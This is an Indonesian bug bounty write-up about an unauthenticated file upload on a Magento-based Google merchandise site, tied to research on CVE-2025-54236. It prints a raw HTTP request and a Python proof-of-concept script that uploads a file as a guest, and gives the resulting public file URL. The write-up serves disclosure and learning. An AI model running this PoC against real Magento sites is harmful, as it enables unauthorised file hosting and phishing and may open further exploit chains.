Awal Mula
Awalnya saya sedang membaca riset dari SL Cyber soal CVE-2025-54236 di Magento / Adobe Commerce. Riset itu membahas kenapa nested deserialization di Magento masih berbahaya, dan yang membuat saya makin tertarik, mereka juga menyinggung adanya unauthenticated file upload di endpoint tertentu.
Referensi itu yang membuat saya terpikir untuk menguji target yang memakai Magento, salah satunya your.merch.google. Jadi temuan ini bukan muncul secara acak, tetapi memang berangkat dari riset yang sudah membahas jalur serangan yang mirip.
Referensi yang saya pakai:
- SL Cyber - Why nested deserialization is STILL harmful – Magento RCE (CVE-2025-54236)
- CVE-2025-54236
Kenapa Endpoint Ini Menarik?
Di artikel SL Cyber, mereka menunjukkan kalau Magento punya endpoint upload file yang bisa diakses tanpa autentikasi, yaitu:
/customer/address_file/upload
Endpoint ini dipakai untuk menangani upload file dari field custom_attributes. Yang menarik,
mereka menunjukkan bahwa request ini bisa dilakukan oleh guest user, cukup memakai form_key yang nilainya
bebas selama sama antara cookie dan parameter form.
Dari situ saya mencoba melihat apakah perilaku yang sama juga ada di your.merch.google. Dan ternyata, endpoint upload ini memang bisa dipakai untuk mengunggah file ke storage yang dapat diakses.
Deskripsi Temuan
Aplikasi di your.merch.google yang berjalan di atas Magento / Adobe Commerce memiliki endpoint upload file di:
/customer/address_file/upload
Dalam pengujian saya, server menerima file teks yang diunggah melalui parameter:
custom_attributes[country_id]
Setelah request dikirim, file tersebut diproses dan disimpan ke direktori media untuk customer address, yang bisa diakses dari web.
Intinya, guest user tanpa login masih bisa mengunggah file ke server. Walaupun sejauh pengujian saya format yang lolos baru file teks, ini tetap menarik karena menunjukkan adanya kemampuan unauthenticated file upload.
Kaitan dengan CVE-2025-54236
Biar jelas: saya tidak bilang temuan saya ini otomatis membuktikan seluruh chain exploit dari CVE-2025-54236 sampai RCE.
Tapi yang jelas, referensi SL Cyber memang menunjukkan bahwa file upload tanpa autentikasi merupakan salah satu bagian penting dalam pembahasan exploitability Magento pada kasus tersebut. Jadi menurut saya sangat wajar kalau riset itu dijadikan pijakan awal saat menguji target Magento lain.
Dengan kata lain, temuan di Google ini bisa dilihat sebagai permukaan serangan yang relevan dengan riset CVE-2025-54236, meskipun dampak lanjutan seperti deserialization chain atau RCE tidak saya buktikan di sini.
Syarat Pengujian
- Tidak perlu login
- Bisa dilakukan oleh guest user
- Butuh
form_key, tetapi nilainya bisa diambil atau disamakan dari sisi frontend
Jadi secara praktik, syarat exploit-nya ringan sekali.
Proof of Concept
Berikut request yang saya gunakan untuk menguji endpoint tersebut:
POST /customer/address_file/upload HTTP/1.1Host: your.merch.googleContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryDNFoGI9h3cNjiBCQCookie: form_key=f49TpaNHU56uEgZc------WebKitFormBoundaryDNFoGI9h3cNjiBCQContent-Disposition: form-data; name="form_key"f49TpaNHU56uEgZc------WebKitFormBoundaryDNFoGI9h3cNjiBCQContent-Disposition: form-data; name="custom_attributes[country_id]"; filename="hi-google-poc.txt"Content-Type: text/plainPentest by ManadoGhost - Google------WebKitFormBoundaryDNFoGI9h3cNjiBCQ--
PoC Script
Biar lebih simpel, saya juga membuat script Python kecil untuk menguji upload-nya.
import requestsimport ioimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def run_poc(target):url = f"{target.rstrip('/')}/customer/address_file/upload"file_content = "Pentest by ManadoGhost - Google"s = requests.Session()files = {'custom_attributes[country_id]': ('hi-google-poc.txt', io.BytesIO(file_content.encode()), 'text/plain')}data = {'form_key': 'manadoghost'}s.cookies.set("form_key", "manadoghost")print(f"[!] Target: {url}")try:r = s.post(url, data=data, files=files, verify=False)print("\\n--- REQUEST ---")print(f"URL: {url}")print(f"Data: {data}")print("\\n--- RESPONSE ---")print(f"Status Code: {r.status_code}")print(f"Response Body: {r.text}")except Exception as e:print(f"[!] Error: {e}")if __name__ == "__main__":run_poc("https://your.merch.google")
Hasil
Request tersebut berhasil diproses, dan file yang diunggah bisa diakses dari path media customer address. Contohnya:
https://your.merch.google/media/customer_address/h/i/hi-google-poc.txt
https://web.archive.org/web/20260309164651/https://your.merch.google/media/customer_address/h/i/hi-google-poc.txt
Ini menunjukkan bahwa file memang berhasil ditulis ke storage aplikasi dan dapat diakses kembali.
Kenapa Ini Penting?
Kalau dilihat sekilas, mungkin orang akan bilang: “ya cuma upload file teks saja.” Tapi dalam konteks security Magento, file upload seperti ini tetap menarik sekali.
Alasannya simpel: di riset CVE-2025-54236, file upload justru dibahas sebagai salah satu bagian yang bisa membantu exploit chain lebih jauh. Jadi walaupun temuan saya di sini belum sampai RCE, permukaan serangan ini tetap layak dicatat.
Beberapa potensi yang terpikir antara lain:
- hosting file arbitrer di subdomain tepercaya
- phishing atau social engineering ringan
- peluang abuse lebih lanjut kalau ada bypass validasi tambahan
- kombinasi dengan bug Magento lain untuk membentuk chain yang lebih serius
Respons dari Google
Bug ini saya laporkan ke Google, tetapi akhirnya ditutup. Kurang lebih alasannya karena dari sudut pandang mereka, upload file seperti ini belum cukup berdampak sebagai security issue, terutama karena saya belum menunjukkan eksekusi script atau dampak lanjutan yang lebih berat.
Jujur saja, agak nyesek. Soalnya secara teknis temuan ini valid dan jelas ada perilaku upload yang seharusnya tidak bisa dilakukan guest user begitu saja. Tapi memang begitulah bug bounty, sering kali yang paling menentukan bukan cuma bug-nya, melainkan seberapa jauh impact yang bisa dibuktikan.
Pelajaran yang Saya Dapat
Dari sini saya makin merasa kalau di dunia bug bounty, bug saja tidak cukup, chain dan impact itu yang dicari.
Temuan upload file tanpa login tetap menarik, apalagi kalau sudah ada riset publik yang menunjukkan bahwa mekanisme serupa bisa relevan dalam exploit chain Magento seperti pada CVE-2025-54236. Tapi kalau tidak bisa dibawa lebih jauh, vendor kadang akan menganggap itu belum cukup untuk diprioritaskan.
Walaupun begitu, menurut saya ini tetap layak ditulis. Minimal jadi dokumentasi, jadi bahan belajar, dan jadi catatan bahwa kadang endpoint kecil yang kelihatannya sepele ternyata nyambung ke gambaran yang lebih besar.
Penutup
Buat saya pribadi, temuan ini tetap seru karena lahir dari proses riset yang nyambung dengan referensi nyata, bukan asal fuzzing buta. CVE-2025-54236 jadi pintu masuk untuk melihat ulang bagaimana Magento menangani input kompleks dan file upload, dan dari situ saya menemukan bahwa your.merch.google masih memperlihatkan perilaku upload file tanpa login.





Posting Komentar